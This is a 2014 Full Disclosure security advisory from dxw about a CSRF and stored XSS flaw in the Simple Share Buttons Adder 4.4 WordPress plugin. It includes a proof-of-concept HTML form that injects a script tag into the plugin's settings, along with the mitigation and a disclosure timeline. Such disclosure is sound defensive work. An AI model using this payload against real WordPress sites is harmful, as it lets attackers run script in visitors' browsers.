full-disclosure - [FD] CSRF and stored XSS in Simple Share Buttons Adder 4.4 (WordPress plugin)

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Message-ID: <06d0e8df6a0aed85ad351adec6445558@security.dxw.com>
Date: Thu, 26 Jun 2014 09:37:25 +0000
From: dxw Security <security@....com>
To: fulldisclosure@...lists.org
Subject: [FD] CSRF and stored XSS in Simple Share Buttons Adder 4.4
	(WordPress plugin)

Details
================
Software: Simple Share Buttons Adder
Version: 4.4
Homepage: https://wordpress.org/plugins/simple-share-buttons-adder/
Advisory report: https://security.dxw.com/advisories/csrf-and-stored-xss-in-simple-share-buttons-adder/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)

Description
================
CSRF and stored XSS in Simple Share Buttons Adder 4.4

Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.

Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" method=\"POST\">
    <input type=\"hidden\" name=\"ssba_options\" value=\"save\">
    <input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
    <input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
    <input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
    <input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')</script>\">
    <input type=\"submit\">
</form>

Mitigations
================
Immediately upgrade to version 4.5 or greater.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2014-06-19: Discovered
2014-06-25: Reported to WP.org and author via email
2014-06-26: Author reports issue fixed in version 4.5

Discovered by dxw:
================
Duncan Stuart
Please visit security.dxw.com for more information.

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